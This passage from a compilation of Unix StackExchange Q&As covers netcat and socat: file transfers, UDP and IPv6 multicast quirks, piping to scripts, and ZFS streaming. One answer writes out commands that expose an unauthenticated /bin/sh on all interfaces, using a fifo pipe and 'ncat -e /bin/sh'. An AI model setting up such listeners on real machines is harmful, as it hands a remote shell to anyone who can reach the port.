close($input_fh);close(STDIN);
}
sub copy_data_mono {
my ($src, $dst) = @_;
my $buf;
print STDERR "copy_data_mono: output: $dst \n";
while (my $read_len = sysread($src, $buf, 4096))
{
my $write_len = $read_len;
while ($write_len)
{
my $written_len = syswrite($dst, $buf);
return unless $written_len; # $dst is closed
$write_len -= $written_len;
}
}
}
Of course the dd and the named pipe now can be skipped, but I didn't check if this code works well when writing to physical partitions...
Now all commands are (assuming the code is saved into netcat_g.pl):
mkfifo my.pipe #create a fifo, @ writable FS
nohup dd if=./my.pipe of=./test.txt &
nohup ./netcat_g.pl -l -p 4000 -f ./my.pipe &
and one can close the console. The main drawback is that another commands can't be chained unless they support file I/O and new named pipes are created.
| netcat doesn't work as expected when detached from console with nohup (Ubuntu/Debian 64bit) |
1,408,506,600,000 |
I have to transfer a 400Gb database consisting of a single file over the Internet from a server where I have full control to an other computer at the opposite border of the ocean (but which uses a slow connection). The transfer should take a full week and in order to reduce all protocol overhead (even using ftp would had 10Min overhead), I’m using a raw tcp connection.
I already transferred 10% of the file, but I learned there will be a scheduled outage in some hours.
How can I ask netcat or socat or curl to serve the FILE:database.raw at the offset it was interrupted? or
|
If your command, as stated in the comments is:
socat -u FILE:somedatabase.raw TCP-LISTEN:4443,keepalive,tos=36
you can, on the sending side, do a seek and start serving from there:
socat -u gopen:somedatabase.raw,seek=1024 TCP-LISTEN:4443,keepalive,tos=36
on the receiving side you also need to seek:
socat tcp:example.com:4443 gopen:somedatabase.raw,seek=1024
Check the manpage for socat, there are other options you might be interested in.
| How to resume a file transfer using netcat or socat or curl? |
1,408,506,600,000 |
I have simple bash nc script:
#!/bin/bash
nc -k -l 127.0.0.1 4444 > filename.out
which listens 4444 port for TCP connection. Instead of redirecting received data to filename.out I would like, if possible, to pass each chunk of data (single lines of text) to script.sh as argument. How do I do that?
Thanks in advance.
EDIT:
I've also tried with:
#!/bin/bash
nc -k -l 127.0.0.1 4444 | /path/to/script.sh
but that doesn't work
|
This below is the entry point to a multi-input script.
#!/bin/bash
[ $# -ge 1 -a -f "$1" ] && input="$1" || input="-"
# your script's payload here
The #! line is self explanatory I hope
on the second line
$# -ge 1 and is testing for at least one command line argument
-a is the boolean and operator
-f "$1" is testing if the first argument is a file
&& is followed by the directive to be executed if the previous condition holds true
|| is followed by what happens if the test condition is not true
nc -k -l 127.0.0.1 4444 > filename.out
my_processing_script filename.out
-or-
nc -k -l 127.0.0.1 4444 | my_processing_script
so, if I have an argument and it is a file, my input is this file, if not, my input is coming from the pipe, i.e. "-"
then you can run your thing as you wish. Either
I tested with payload of
awk '{print $2}' ${input}
and my input was coming from netstat -rn command and worked either way. I hope this is what you are asking about
| How to pass received data from netcat to another script as argument? |
1,408,506,600,000 |
I'm currently writing a program that prints to a Zebra printer. Because my office doesn't have a zebra printer, we print to a linux VM running netcat with nc -k -l -p 9100 | tee labels.txt so that we can view the output to the printer and verify correctness.
Unfortunately, this file gets pretty big and takes up a lot of space on the VM, especially because no one ever remembers to clear it.
Using tee seems to be a good option for writing to a file, but it isn't very featured in the way I'd desire. I'd like for the label.txt to only grow to a certain size (say 20 MB), at which point it begins overwriting itself. Or perhaps renames label.txt to label.txt.1, allowing label.txt to grow and then overwriting label.txt.1.
Is there any way to do this with netcat/tee? Or should I be looking at another program?
|
Answering your question, there is no feature in either netcat or tee to achieve this.
Maybe you could write a cron job, which runs every minute and checks the size of the label.txt, and when it reaches 20MB, clears the first 10MB.
| How to write to a file with netcat? And set it to grow to a certain size and begin overwriting itself? |
1,408,506,600,000 |
A couple of comments on Hacker News suggest that, on FreeBSD, you can:
use cat to send a file ( a .wav file for instance ) to the audio
speaker (/dev/dsp).
record from the mic using a similar method.
send a live stream across the network (using netcat?)
I can nearly do the first one. I do cat /dev/random > /dev/dsp and it makes white noise. Can't work out how to record that to a file. And 2 and 3 I can't figure out. Any ideas?
https://news.ycombinator.com/item?id=28054789
https://news.ycombinator.com/item?id=28055498
|
cat somefile.wav > /dev/dsp
cat /dev/dsp > record_from_mic.wav
cat /dev/dsp | nc -l 1234
| Playing, recording, and streaming sound with cat and /dev/dsp |
1,408,506,600,000 |
I'm using Ubuntu and I switched to netcat-traditional version but when I try to make simple HTTP requests it always failing, any cases, any servers giving 400 Bad request:
(Apache Ubuntu is running on port 80)
nc localhost 80
I sent plain:
GET / HTTP/1.1
Host: localhost
Simple or complex requests, always giving the same error, I think it can be related with "bash" or "system" encoding but I tested to build a "dummy" HTTP request, like above, and save in a separated file to input directly, but giving the same error (400...):
nc localhost 80 < header.txt
|
I catched the problem is all about of EOL. I must use the EOL of MS-DOS (changing "\n" by "\r\n") systems even the server is running in a Linux/Unix.
On save, in case of gedit, it's all solved just by choosing "Windows" on "Line ending" option in "Save As" screen of gedit.
| Netcat Bad Request [closed] |
1,495,187,909,000 |
netcat is wonderful, let me count the ways -- is to much let me sum up -- tcp/ip4, udp/ip4, tcp/ip6, udp/ip6, but what I need is stream/unix. I could write it in half a day, but If someone has already scratched this itch...
|
On Ubuntu I find this in the netcat man page:
-U Specifies to use UNIX-domain sockets.
So it seems netcat already can do what you are asking for.
| Is there a netcat like utility that uses unix sockets? |
1,495,187,909,000 |
I am writing a script that opens a netcat process remotely on a server which listens for input and redirects it to a file:
ssh $remote_upload_user@remote_upload_address "nc -l -p $remote_port > $remote_dir/$backup.gz&"
The script proceeds to compress the ZFS snapshot through pigz and then sends the data as input to netcat:
netcat $remote_upload_address -u $remote_port < $(zfs send -R $zpool@label | pigz)
When adding |pv to the end of pigz (within the parentheses) it shows that pigz is processing the data, but once the data passes to netcat I get a never ending stream of garbled data flooding stdout on the client side.
The server shows 0 size in increase for the file it needs to be writing to. Why isn't this working?
|
$(...) is command substitution. You don't want the output of zfs send to be taken as a file name for nc to read from. You want to send the output of zfs send as input to pigz while pigz sends its output to netcat, so:
zfs send -R "$zpool@label" | pigz | netcat "$remote_upload_address" "$remote_port"
Don't use UDP. UDP, contrary to TCP provides no guarantee of delivery.
If you wanted to use the < redirection operator, you could use ksh-style process substitution (also found in zsh and bash):
netcat "$remote_upload_address" "$remote_port" < <(
zfs send -R "$zpool@label" | pigz)
But that has no advantage over the standard |-based equivalent. There, the file name passed to the < redirection operator is a named pipe or /dev/fd/x special file that points to a pipe (pigz writing at the other end of the pipe).
That's the same but involves a few extra system calls. Another difference is that the shell doesn't wait for that zfs send|pigz command (though it waits for netcat which probably won't terminate before pigz as it's reading its output).
Or use yash's process redirection operator:
netcat "$remote_upload_address" "$remote_port" <(
zfs send -R "$zpool@label" | pigz)
Again, no advantage over the standard syntax here. You'd typically use process redirection in yash when you want to have several fds of a command connected to pipes to other commands.
| ZFS Send to Pigz, to netcat |
1,495,187,909,000 |
I made a simple server using netcat and backpipe:
mkfifo backpipe
nc -l 8080 < backpipe | parseRequests.sh > backpipe
The contents of "parseRequests.sh" is just:
#!/bin/sh
if [ "$1" = "1+1" ]; then echo "2"; else echo "0"; fi
When I connected to this server in another machine using
nc 10.0.0.2 8080
The connection ended immediately with "0" returned.
My question is, how can I keep the connection so that I can type many requests in the client side? If I use 'tee log.txt' instead of 'parseRequests.sh', the connection can be kept alive. I guess the 'echo' command in the "parseRequests.sh" sent an EOF signal to nc, which caused nc to quit immediately. How can I avoid this?
I know I can listen to requests on one port and send answers back using another port in a loop. But I prefer to keep the same port alive for both requests and answers.
|
The program on the left side of a pipe does not receive an EOF (which is not a signal) when the right side of the pipeline ends. It gets a SIGPIPE which tells it to terminate. The problem is that you are not reading anything from the pipeline or reading any data from the pipeline. You probably want a while read loop which will read from stdin as long as it's alive:
while read -r value; do
if [ "$value" = "1+1" ]; then
echo "2";
else
echo "0";
fi
done
| How to avoid sending EOF from a script parsing requests from and sending answers to netcat |
1,495,187,909,000 |
I'm interested in implementing the advanced content filter example for postfix.
socat tcp-listen:10026,reuseaddr,fork tcp:localhost:10025
This is a simple "passthru" that works, but obviously doesn't do any filtering or responding.
My goal is to have this socat command work exactly as it does (two-way forwarding between the two connections), but also one-way forward its input to a PHP script.
How would I do that?
Possible duplicate question (unanswered as of today)
For more background... I would like to avoid the limitations of the "simple" content filter via pipe but I don't want to implement a full SMTP client and server to handle the postfix <--> filter <--> postfix transaction.
I do not need to filter the mail, but I do need to track it. My thought is that I could forward the network traffic per usual, but have a PHP script that tracks the data passing over the wire.
|
You could simply add -v to socat and it will copy all i/o to stderr, prefixed by > or < to indicate the direction.
| socat forward input to both tcp-connect and exec (script) |
1,495,187,909,000 |
I call Qt Assistant like suggested on stackoverflow:
nc -lkU ~/.assistantfifo | assistant -enableRemoteControl &
Qt Assistant window is opened, and if I call jobs, it returns:
[1] + running nc -lkU ~/.assistantfifo | assistant -enableRemoteControl
Then, I close Qt Assistant (just by clicking at "x"). Now, jobs returns:
[1] + running nc -lkU ~/.assistantfifo |
done assistant -enableRemoteControl
So, nc continues working, and I have to type killall nc.
How to make nc finish too, when I close Qt Assistant? Or, probably I should do this somehow different?
|
The command you are running (nc a.k.a. netcat) will listen for input when run with the -l flag. Normally, netcat in listen mode will close when it receives the end-of-file character, but the -k flag prevents that. In other words, netcat won't close until you kill it because of the way you invoked the command.
See the man page for more info.
| Output of one command is piped to another one; how to close both? |
1,495,187,909,000 |
I am experimenting with communication over UDP port 6666 (the goal is setting up a listener for netconsole, but that's not really relevant here).
On the listening side, nc -luv 6666.
On the sending side, nc -uv LISTENER_IP 6666. I can send and receive, life is good.
Now I leave the listener running, but kill the sender and start another sender. It terminates immediately. A network trace reveals that the receiving server sends an ICMP Port Unreachable. However, the listener still listens:
$ sudo ss -nlup|grep 6666
UNCONN 0 0 :::6666 :::* users:(("nc",pid=3417,fd=3))
I kill the receiver and run a new one. Everything works as before until I kill the sender.
Sender and receiver are physical machines on the same network. The same test between a physical machine and a VM running on it yields the same result.
How can this behaviour be explained?
|
Due to the way that UDP "connections" work, this is expected behaviour. This is discussed in the nc6(1) man page ("UDP"), but is applicable to socat and nc as well:
UDP support in netcat6 works very well in both connect and in listen
mode. When using UDP in listen mode netcat6 accepts UDP packets from
any source that matches the optional address and/or port specified (if
it was specified). However, once the first packet is received,
netcat6 will only receive packets from that client in future. This is
done by putting the UDP socket into "connected" state (see udp(4) and
connect(2)). Packets from other sources are discarded by the kernel
and an ICMP unreachable response is sent.
When connecting to a remote host using UDP, nc6 will report that the
connection is open regardless of whether a remote server is listening.
This is because UDP is a connectionless protocol, and hence no
connection establishment is actually required. However, after sending
the first packet of data, a server may reply with an ICMP unreachable
response causing nc6 to exit with a 'Connection refused' error
message.
When you connect from the sender side, a random UDP source port is chosen. The receiver then binds to that particular host:port pair and will not listen to any other connection from then on. To solve this, you need to force the sender to always use the same port. I used socat for this example because it was easier to do:
Listener:
# socat -d -d UDP-LISTEN:6666 stdout
2018/01/29 22:02:02 socat[20969] N listening on UDP AF=2 0.0.0.0:6666
2018/01/29 22:02:07 socat[20969] N accepting UDP connection from AF=2 10.100.0.5:39000
2018/01/29 22:02:07 socat[20969] N using stdout for reading and writing
2018/01/29 22:02:07 socat[20969] N starting data transfer loop with FDs [5,5] and [1,1]
hello
bye
hello1
bye1
Sender:
# socat -d -d stdin UDP:listener-host:6666
2018/01/29 22:01:56 socat[8237] N using stdin for reading and writing
2018/01/29 22:01:56 socat[8237] N opening connection to AF=2 10.100.0.3:6666
2018/01/29 22:01:56 socat[8237] N successfully connected from local address AF=2 10.100.0.5:39000
2018/01/29 22:01:56 socat[8237] N starting data transfer loop with FDs [0,0] and [5,5]
hello
bye
2018/01/29 22:02:10 socat[8237] N socket 1 (fd 0) is at EOF
2018/01/29 22:02:10 socat[8237] N exiting with status 0
# socat -d -d stdin UDP:listener-host:6666
2018/01/29 22:02:13 socat[8238] N using stdin for reading and writing
2018/01/29 22:02:13 socat[8238] N opening connection to AF=2 10.100.0.3:6666
2018/01/29 22:02:13 socat[8238] N successfully connected from local address AF=2 10.100.0.5:57125
2018/01/29 22:02:13 socat[8238] N starting data transfer loop with FDs [0,0] and [5,5]
hello
2018/01/29 22:02:16 socat[8238] E read(5, 0x5619f9b09330, 8192): Connection refused
2018/01/29 22:02:16 socat[8238] N exit(1)
# socat -d -d stdin UDP:listener-host:6666,sourceport=39000
2018/01/29 22:05:17 socat[8280] N using stdin for reading and writing
2018/01/29 22:05:17 socat[8280] N opening connection to AF=2 10.100.0.3:6666
2018/01/29 22:05:17 socat[8280] N successfully connected from local address AF=2 10.100.0.5:39000
2018/01/29 22:05:17 socat[8280] N starting data transfer loop with FDs [0,0] and [5,5]
hello1
bye1
2018/01/29 22:05:23 socat[8280] N socket 1 (fd 0) is at EOF
2018/01/29 22:05:24 socat[8280] N exiting with status 0
As you can see, the source port changed on the sender but if I forced it to reuse the same port it worked.
| UDP port unreachable although process is listening |
1,495,187,909,000 |
I want to config a PC with necat or socat to execute a script when I tell the server to do this.
I have an old app cappable to send simple message UDP prefered.
The message is stored in a playlist.
example
Let's say I want to send a message to open a macro/script to the PC that is running netcat/socat
"C:\Users\xxx\Desktop\script.bat"
the server needs to listen on a port.
and execute the program when the command its received
how I do this? I don't know how to start I found nothing on internet.
PS. please don't mind UDP security or reliability; it's a LAN thing, and I don't need the server to tell me anything back.
|
This is a classic use of netcat. But this is unix.SE so my answer will be completely in unix.
Note: netcat has different names on different distros:
netcat: alias to nc on some distros
nc: GNU netcat on linux or BSD netcat on *BSD
ncat: Nmap netcat, consistent on most systems
Options between different versions of netcat vary, I'll point out where different version may behave differently. Moreover, I strongly recommend installing the nmap version of netcat (ncat) since its command line options are consistent across different systems.
I'll be using ncat as the netcat name thorough the answer.
TCP
To use TCP to control a machine through netcat you have two options: using a named pipe (which works with all versions of netcat) and using -e (which only exists in the linux version, or, more exactly, -e on *BSD does something completely different).
On the server side you need to perform either:
mkfifo pinkie
ncat -kl 0.0.0.0 4096 <pinkie | /bin/sh >pinkie
Where: 0.0.0.0 is the placeholder for "all interfaces", use a specific IP to limit it to a specific interface; -l is listen and -k keep open (to not terminate after a single connection).
Another option (on linux/ncat) is to use:
ncat -kl 0.0.0.0 4096 -e /bin/sh
To achieve the same result.
On the client side you can use your app or simply perform:
ncat <server ip> 4096
And you are in control of the shell on the server, and can send commands.
UDP
UDP is similar but has some limitations. You cannot use -k for the UDP protocol without -e, therefore you need to use the linux/ncat to achieve a reusable socket.
On the server side you do:
ncat -ukl 0.0.0.0 4096 -e /bin/sh
And on the client side (or from your app):
ncat -u <server ip> 4096
And once again you have a working shell.
| Controling a PC via tcp/udp commands necat/socat |
1,495,187,909,000 |
I don't understand the behaviour of netcat. Let's say that I have one host acting as server:
[root@localhost tmp]# nc -u -l -p 670
Then I try to connect from a client:
root@debian:/tmp# nc -u 192.168.0.109 670
Meanwhile I try to capture those packages:
[root@localhost sergio]# tcpdump -nn -i wlp7s0 port 670
I see no packets at all, only when I issue something like:
root@debian:/tmp# echo "Hola Mundo" | nc -u 192.168.0.109 670
[root@localhost sergio]# tcpdump -nn -i wlp7s0 port 670
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlp7s0, link-type EN10MB (Ethernet), capture size 65535 bytes
01:37:39.425276 IP 192.168.0.114.44287 > 192.168.0.109.670: UDP, length 12
I wonder if is it the proper behaviour of netcat. Why is the reason why it's not seen any packets except when I send something from stdin?
|
Because you are using UDP.
There is no connection setup in UDP before sending any packets like you have with TCP, which means you only see packets if actual data gets transferred. And netcat sends only the data it gets from stdin.
| tcpdump and nc with udp |
1,495,187,909,000 |
I have this command succession:
echo -ne "/dev/shm/test.sh" | netcat 89.196.167.2 4567
and let's say it return a string like, for example "Hello...bla".
On the 89.196.167.2 system, I have made a server that takes ssh commands, executes them, and returns the result to the client. That ssh program is running OK; it returns what I need, so that is not the problem.
I want to put this returned value, "Hello...bla", into a variable and use it.
If I try this:
var=echo -ne "/dev/shm/test.sh" | netcat 89.196.167.2 4567;echo "$var"
it doesn't work. Bash returns this:
-bash: -ne: command not found
Can you please help me with a solution?
|
Use backticks. i.e.:
var=`echo -ne "/dev/shm/test.sh" | netcat 89.196.167.2 4567`
| How to put value of echo pipe netcat commands into variable [duplicate] |
1,495,187,909,000 |
So far I use multicast with ipv4 and it works; all involved computers run linux. I listen on two machines and send on one of those two (in a separate terminal). In the below example 'Hello 1' is received on the sending machine (strawberry) and on the remote machine (ero).
ero:~$ sudo ip addr add 224.4.19.42 dev enp4s0 autojoin
ero:~$ netcat -l -k -u -p 9988
strawberry:~ $ sudo ip addr add 224.4.19.42 dev wlan0 autojoin
strawberry:~ $ netcat -l -k -u -p 9988
strawberry:~ $ echo "Hello 1" | netcat -s 192.168.178.109 -w 0 -u 224.4.19.42 9988
With ipv6 it works as long as only remote machines listen; 'Hello 2' in the below example is received by ero. Once the sender (strawberry) has also joined the multicast group, neither the sender (strawberry) nor the remote machine (ero) receives 'Hello 3':
ero:~$ sudo ip addr add ff05:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:4141 dev enp4s0 autojoin
ero:~$ netcat -l -k -u -p 9988
strawberry:~ $ echo "Hello 2" | netcat -w 0 -s 2001:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:76d0 -u ff05:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:4141 9988
strawberry:~ $ sudo ip addr add ff05:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:4141 dev wlan0 autojoin
strawberry:~ $ netcat -l -k -u -p 9988
strawberry:~ $ echo "Hello 3" | netcat -w 0 -s 2001:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:76d0 -u ff05:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:4141 9988
Maybe of interest: when I do not provide a sender address, i.e., no -s option, then the ipv4 example shows the same behaviour as ipv6: message only received as long as strawberry has not joined the multicast group. Thus I tried different sending addresses with ipv6: the global address shown in the example (2001:...), a unique local address (ULA; fd00:...) and a link-local address (LLA; fe80:...). Neither helps.
Any hints what I am doing wrong?
|
Introduction
For a host system, while sending to a multicast IP address is quite similar to sending to an unicast address, receiving multicast is different and uses additional APIs: an host doesn't assign a multicast address to an interface, instead it joins multicast addresses of interest to receive select multicast traffic when an application (using a socket) on it requests it. This is described in RFC 1112. The RFC's JoinHostGroup and LeaveHostGroup functions are transposed on the BSD socket API used by most *nix by the use of setsockopt(2) options to join and leave multicast groups. IPv6 follows this just as IPv4 but there are differences (including in routing behavior). POSIX even describes in a few places how should be implemented the IPv6 API (it doesn't appear to describe IPv4's multicast so much, perhaps because it's a bit more fragmented among OSes and thus not worth it).
On Linux, the main socket options used are IP_MULTICAST_IF plus IP_ADD_MEMBERSHIP for IPv4 and IPV6_MULTICAST_IF plus IPV6_ADD_MEMBERSHIP (with an alias of IPV6_JOIN_GROUP to follow POSIX) for IPv6. Also of interest to OP's question, but enabled by default: IP_MULTICAST_LOOP and IPV6_MULTICAST_LOOP.
Knowing what happens on the wire to have this work inside a network (IGMP for IPv4 or MLD for IPv6...) or across networks (for example using PIM-SM) isn't needed at the application level (but could be needed to troubleshoot problems, especially those involving switches and multicast snooping).
The remaining answer expects that no special tinkering to network configuration was done on the systems: no multicast address added to any interface and no autojoin option. Note also that 224.4.19.42 belongs to an AD-HOC Block II block assigned to the London Stock exchange. Private Organization-Local Scope blocks can be picked within 239.0.0.0/8.
netcat
netcat (all of its variants) doesn't handle multicast. So while by tweaking the network settings (autojoin is normally intended to be used along configurations involving tunnels) OP managed to use netcat with IPv4 multicast addresses but not IPv6 anyway, any application actually using multicast follows the standards and uses the additional APIs for proper multicast support. A diagnostic tool such as netcat is used to replace a more complex software, but this replacement should be able to do the same: netcat won't.
socat
IPv4
socat has (almost) complete IPv4 multicast support.
The way to send to such multicast group is by stating through which multicast-enabled interface it should be sent through (actually socat only appears to support the address variant of this API, so an interface can't be provided when using socat while the API supports it, unless using dalan raw setsockopt socat option, see below) and optionally by stating if multicast loopback is required (it's enabled by default so useless here, so I'll put it in only one example):
On strawberry, if a default route exists or at least a route to multicast 224.4.19.42 using the expected interface is present, then simply this is enough (the first command doesn't require any multicast-related feature, so that's the only case that nc can also be used for):
echo "Hello 1" | socat -u - UDP4-DATAGRAM:224.4.19.42:9988
echo "Hello 1" | socat -u - UDP4-DATAGRAM:224.4.19.42:9988,ip-multicast-loop=1
else the interface has to be specified by an address on it:
echo "Hello 1" | socat -u - UDP4-DATAGRAM:224.4.19.42:9988,ip-multicast-if=192.168.178.109
Using the documented dalan format one can use arbitrary socket options in socat using its setsockopt option for the unsupported part of the API described in Introduction paragraph. It is OS and can be architecture dependent. Here it will be about Linux (>= 3.5) on amd64 (x86_64) architecture.
SOL_IP = 0
IP_MULTICAST_IF = 32
expected alternate structure for an in_mreq variant of the API: one IPv4 multicast address (4 bytes in hex for the IPv4 address in big endian format, introduced by a leading x) plus one local address (4 more bytes). For an in_mreqn variant: same plus also one index of integer size introduced by a leading i. Not all parameters must be filled in. Working examples (using JSON format and the jq command to compute the interface index from wlan0):
echo "Hello 1" | socat -u - UDP4-DATAGRAM:224.4.19.42:9988,setsockopt=0:32:x00000000xc0a8b26d
echo "Hello 1" | socat -u - UDP4-DATAGRAM:224.4.19.42:9988,setsockopt=0:32:x00000000x00000000i$(ip -j link show enp4s0 | jq '.[].ifindex')
If using ip-multicast-loop=0, then strawberry will not receive its own emitted multicast traffic.
The receiving part has to use IP_ADD_MEMBERSHIP to specify the multicast IP address group to join, and optionally a local address or an interface if one doesn't want to rely on the routing stack to pick the correct choice (again one of these options is needed if there is no correct route to the multicast address, for example if there is no default route or if the default is wrong). Stating this local address shouldn't be needed either when the socket is bound to an address other than INADDR_ANY since then the OS will follow this choice.
The receiving part can use UDP4-RECV (to merge what is received) or UDP4-RECVFROM (to split on each datagram) usually along a fork option. For example:
If there is a route (incl. default) for 224.4.19.42, then on both hosts:
socat -u UDP4-RECV:9988,ip-add-membership=224.4.19.42:0.0.0.0 -
Else (here choosing the interface name syntax),
for strawberry:
socat -u UDP4-RECV:9988,ip-add-membership=224.4.19.42:wlan0 -
for ero:
socat -u UDP4-RECV:9988,ip-add-membership=224.4.19.42:enp4s0 -
IPv6
It appears IPv6 support was partially implemented: similar to ip-add-membership for IPv4, the equivalent option ipv6-add-membership does exist in sources and works but is not documented anywhere. All tests were made with socat 7.4.1 so showing this release. The option exists:
#ifdef IPV6_JOIN_GROUP
IF_IP6 ("ipv6-add-membership", &opt_ipv6_join_group)
#endif
or an alias:
#ifdef IPV6_JOIN_GROUP
IF_IP6 ("ipv6-join-group", &opt_ipv6_join_group)
#endif
with the format declaration for using setsockopt(2) later:
#ifdef IPV6_JOIN_GROUP
const struct optdesc opt_ipv6_join_group = { "ipv6-join-group", "join-group", OPT_IPV6_JOIN_GROUP, GROUP_SOCK_IP6, PH_PASTSOCKET, TYPE_IP_MREQN, OFUNC_SOCKOPT, SOL_IPV6, IPV6_JOIN_GROUP };
#endif
So basic listening to multicast IPv6 is actually supported (else this would require a dalan setsockopt-listen socat option which requires a recent version). Choosing to send not using the default routing stack's choice isn't natively possible because there is no ipv6-multicast-if option (yet?). It's still available with the dalan format. The structure used for IPV6_MULTICAST_IF requires only an interface index. Using IPV6_MULTICAST_IF is probably always required if the IPv6 multicast scope is below site-local (eg: ff01::/16 or ff02::/16) but is often required for other cases too (see below). Likewise, the parameter ipv6-multicast-loop has not been implemented so also requires a dalan format setsockopt option.
IPv6 routing behavior differs slightly from IPv4 here. It might not follow the default route and might have undefined behavior on a system using multiple interface where routes have not be explicitly defined, depending on the order the interfaces are (re)configured: the routing table could switch from:
# ip -6 route show table all type multicast
multicast ff00::/8 dev wlan0 table local proto kernel metric 256 pref medium
multicast ff00::/8 dev dummy0 table local proto kernel metric 256 pref medium
to
# ip -6 route show table all type multicast
multicast ff00::/8 dev dummy0 table local proto kernel metric 256 pref medium
multicast ff00::/8 dev wlan0 table local proto kernel metric 256 pref medium
just because an interface went down then up, changing the default interface to be used. Running any kind of container, VM or dynamic interface could lead to this.
In the end, just sending blindly trusting the system's routing stack choice (or if routes are known to be configured correctly) on strawberry (mind the quotes to avoid the shell interpreting brackets needed for IPv6):
echo "Hello 1" | socat -u - UDP6-DATAGRAM:'[ff05::4141]':9988
Specifying an interface to send through and explicitly stating to use multicast loopback requires dalan format setsockopt option:
SOL_IPV6 = 41
IPV6_MULTICAST_LOOP = 19
IPV6_MULTICAST_IF = 17
IPV6_MULTICAST_LOOP's boolean: actually integer (hence the letter i used in dalan data format)
IPV6_MULTICAST_IF's index: integer
echo "Hello 1" | socat -u - UDP6-DATAGRAM:'[ff05::4141]':9988,setsockopt=41:19:i1,setsockopt=41:17:i$(ip -j link show wlan0 | jq '.[].ifindex')
receiving on strawberry:
socat -u UDP6-RECV:9988,ipv6-add-membership='[ff05::4141]':wlan0 -
likewise receiving on ero:
socat -u UDP6-RECV:9988,ipv6-add-membership='[ff05::4141]':enp4s0 -
IPv6 multicast communication between an arbitrary number of peers is possible. Here's an example, while disabling receiving its own looped back multicast traffic and specifying the interface:
strawberry:
socat UDP6-DATAGRAM:'[ff05::4141]':9988,bind=:9988,ipv6-add-membership='[ff05::4141]':wlan0,setsockopt=41:19:i0,setsockopt=41:17:i$(ip -j link show wlan0 | jq '.[].ifindex') -
ero (same, only the interface name chances):
socat UDP6-DATAGRAM:'[ff05::4141]':9988,bind=:9988,ipv6-add-membership='[ff05::4141]':enp4s0,setsockopt=41:19:i0,setsockopt=41:17:i$(ip -j link show enp4s0 | jq '.[].ifindex') -
additional systems can run the same command too, only the interface name will possibly differ.
Each socat will send data (typed on the terminal) to all other multicast peers and will also read back traffic sent from them (but not from itself).
| ipv6 multicast fails when it should loop back to self |
1,495,187,909,000 |
I'm using netcat on Fedora to test an IPv6 UDP multi-cast address. The command is
echo hi | nc -6 -u ff02::777:777:777 7777
netcat responds, "Invalid argument."
Running strace yields
connect(3, {sa_family=AF_INET6, sin6_port=htons(7777), sin6_flowinfo=htonl(0), inet_pton(AF_INET6, "ff02::777:777:777", &sin6_addr), sin6_scope_id=0}, 28) = -1 EINVAL
Running a similar command but without the IPv6,
echo hi | nc -u 192.168.255.255 7777
works just fine.
|
Preliminary note: your IPv4 network is not set up as 192.168.0.0/16 but most probably as 192.168.0.0/24 or any other /24 range: 192.168.255.255 is thus not a broadcast, else echo hi | nc -u 192.168.255.255 7777 would have failed. For broadcast, not supported with IPv6 but only with IPv4, an application must use the SO_BROADCAST socket option. This is achieved with the -b option for netcat. Assuming you are actually in network 192.168.0.0/24 (not /16), that would be:
nc -b -u 192.168.0.255 7777
Note that broadcast is not multicast.
About the question. The entire ff02::/16 range is within the link-local multicast scope. For this scope an address is complete only when an interface is associated to it (that's why it's a link-local scope). A valid address in this range can't be only ff02::777:777:777. Assuming that the LAN interface is called eth0,ff02::777:777:777%eth0 is a valid address, as defined in RFC 4007:
nc -6 -u ff02::777:777:777%eth0 7777
This is probably automatically handled by libraries rather than by the nc command itself. Using a scope not requiring an interface will usually fail because then the interface should not be part of the address.
If you don't want to have to need the interface, don't use the link-local (nor node-local) scope(s). Switch to site-local: ff05 which doesn't require specifying an interface to work:
nc -6 -u ff05::777:777:777 7777
On Linux the distinction can be seen for these two commands with ss:
$ ss -aun dport == 7777
State Recv-Q Send-Q Local Address:Port Peer Address:Port
ESTAB 0 0 [2001:db8:900d:cafe:0:1:2:3]:58092 [ff05::777:777:777]:7777
ESTAB 0 0 [fe80::8c5f:87ff:fe50:d08a]%eth0:60937 [ff02::777:777:777]:7777
Here as a global address is available on eth0 and it's not a link-local scope, this address was chosen as source. For the link-local scoped address, the socket is bound to the interface. For the Linux case, see this Q/A for other caveats related to the choice of the interface when sending (and having not used IPV6_MULTICAST_IF): How to set preferred IPv6 interface
Final note: you should consider switching to socat with much more features than netcat, including joining multicast groups for IPv4. While it supports IPv6 it doesn't directly support IPv6 multicast but can use arbitrary setsockopt(2) calls for unsupported features, including handling IPv6 multicast. That's still better than netcat which just has no support to receive multicast traffic emitted by the previous netcat commands.
So with socat, here's an example valid at least on Linux with amd64 (x86_64) architecture and possibly working on other *nix possibly after changing the value 20 below with its adequate replacement (for IPV6_ADD_MEMBERSHIP/IPV6_JOIN_GROUP), using a raw setsockopt(2) option to enable receiving the multicast traffic on the interface with index 2 (the first interface after lo), sent by the first netcat command:
socat udp6-recv:7777,setsockopt-listen=41:20:xff020000000000000000077707770777i2 -
The option would be decoded like this using strace:
setsockopt(5, SOL_IPV6, IPV6_ADD_MEMBERSHIP, {inet_pton(AF_INET6, "ff02::777:777:777", &ipv6mr_multiaddr), ipv6mr_interface=if_nametoindex("eth0")}, 20) = 0
The so-called "dalan" format for passing arbitrary socket options is used here for an ipv6_mreq structure: one IPv6 address (x for arbitrary hex values, here 16 bytes for the IPv6 address) followed by one interface index (i for an integer).
| netcat producing EINVAL when sending to UDP IPv6 multicast |
1,495,187,909,000 |
My general question is this: What's the best way (simplest, easiest, quickest, least error-prone, etc.) to verify iptables NAT rules locally on a single host (i.e. without a network connection) at the command-line?
What follows are the details of specific (failed) attempts at checking a simple DNAT rule using NetCat. I am hoping for a resolution of my specific issue in this case, but also for an answer to my general question.
I'm working on a VirtualBox virtual machine running Debian 8 (Jessie). I want to use netcat to perform a basic test of a simple DNAT rule.
For my test, all I want to do is send some data to one local address (e.g. 192.168.0.1) and have it arrive at another local address (e.g. 192.168.0.2).
I've tried several different approaches so far:
Dummy interfaces and the PREROUTING chain
Virtual interfaces and the PREROUTING chain
Using the OUTPUT chain instead of PREROUTING
Dummy interfaces and the PREROUTING chain
My first attempt was to add a DNAT rule to the PREROUTING chain and add two dummy interfaces with the appropriate addresses.
Here is my rule:
sudo iptables \
-t nat \
-A PREROUTING \
-d 192.168.0.1 \
-j DNAT --to-destination 192.168.0.2
There are no other netfilter rules in my firewall. But just to be sure, here is the output from iptables-save:
